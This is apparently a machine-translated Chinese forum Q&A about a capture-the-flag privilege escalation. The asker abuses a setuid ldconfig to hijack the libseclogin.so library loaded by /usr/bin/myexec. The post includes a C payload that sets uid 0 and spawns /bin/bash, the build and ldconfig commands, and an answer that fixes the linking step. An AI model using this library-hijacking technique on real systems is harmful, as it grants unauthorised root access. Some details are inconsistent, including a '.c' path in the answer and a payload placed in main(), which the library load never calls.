我目前正在研究“黑客入侵”的挑战,并试图在运动机上获取一个现有的可执行文件,以便由库运行以代替“易受攻击”脚本中缺少的可执行文件。
缺少的库是libseclogin.so
。我在/dev/shm
中创建了一个新文件,并从那里尝试使用ldconfig
手动链接新库,以便在运行myexec
时将我放到一个外壳中。 ldconfig
设置了粘性位。
这是我运行的命令。最后,您可以看到,当我再次运行ldd
来检查库是否已重新链接到/dev/shm/libseclogin.so
时,没有任何更改。
我在此过程中错过了什么吗?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
这是我用来插入外壳的基本C
密码。
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
编译命令以创建共享库。
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
答案 0 :(得分:1)
问题主要取决于我对ldconfig
的使用。
我在未明确指定so
文件的情况下运行它,似乎可以解决问题。
正确的命令...
ldconfig /dev/shm
而不是...
ldconfig /dev/shm/libseclogin.c
然后,当我运行ldd myexec
时,我得到了正确的输出。
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)